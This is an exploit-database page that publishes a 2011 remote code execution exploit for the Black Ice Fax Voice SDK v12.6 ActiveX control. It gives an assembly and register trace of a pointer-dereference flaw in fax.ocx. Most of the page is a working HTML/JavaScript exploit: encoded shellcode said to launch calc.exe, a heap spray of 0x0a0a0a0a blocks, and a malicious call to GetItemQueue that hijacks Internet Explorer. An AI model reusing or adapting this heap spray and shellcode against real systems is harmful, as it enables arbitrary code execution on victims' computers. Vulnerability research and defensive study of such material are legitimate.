[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Black Ice Fax Voice SDK v12.6 Remote Code Execution Exploit
# Published : 2011-06-20
# Author : mr_me
# Previous Title : Black Ice Cover Page SDK insecure method DownloadImageFileURL() exploit
# Next Title : DATAC RealWin SCADA Server 2 On_FC_CONNECT_FCS_a_FILE Buffer Overflow


			
<html><!--Black Ice Fax Voice SDK v12.6 - integer dereference code execution exploitDate: Jun 20, 2011Link: http://www.blackice.com/Fax%20C++%20ActiveX.htmVersion: 12.6Tested on: WinXP - IE 6 & 7 Class FAXGUID: {2E980303-C865-11CF-BA24-444553540000}Number of Interfaces: 1Default Interface: _DFAXRegKey Safe for Script: FalseRegkeySafe for Init: FalseKillBitSet: FalseMeh, despite the above, i found this bug slightly amusing >:) Theres an integer overflow in this section of fax.ocx which is how i found the dereference vulnerability.1000CFA3	MOV ECX,[EBP+8]		< --- get our variable into ECX1000CFA6	MOV EDX,[ECX]	  	< --- dereference1000CFA8	MOV ECX,[EBP+8]		< --- get our variable into ECX again (meh)1000CFAB	CALL [EDX+14]		< --- !!!!and...EIP 1000CFA6 -> 51EC8B55EAX 1000CF82 -> 51EC8B55EBX 0013EC68 -> 01D29E90ECX FFFFFFFFEDX 73F360D3 -> EB0C4589EDI 0013EB98 -> 73F4D682ESI 00000000EBP 0013EB94 -> 0013EC10ESP 0013EB90 -> 0003A1A0vulnerable methods:GetFirstItem()GetItemQueue()prob more.--><object classid='clsid:2E980303-C865-11CF-BA24-444553540000' id='target'/></object><script language='javascript'>// Calc.exevar shellcode = unescape(    '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+    '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+    '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+    '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+    '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+    '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+    '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+    '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'); var nops = unescape('%u0a0a%u0a0a');var headersize = 20;var slackspace = headersize + shellcode.length;while(nops.length < slackspace) {    nops += nops;}var fillblock = nops.substring(0, slackspace);var block = nops.substring(0, nops.length - slackspace);while((block.length + slackspace) < 0x50000) {    block = block + block + fillblock;}memory=new Array();for(counter=0; counter<200; counter++){    memory[counter] = block + shellcode;}var boom = 168430090; // 0x0a0a0a0atarget.GetItemQueue(boom);</script></html>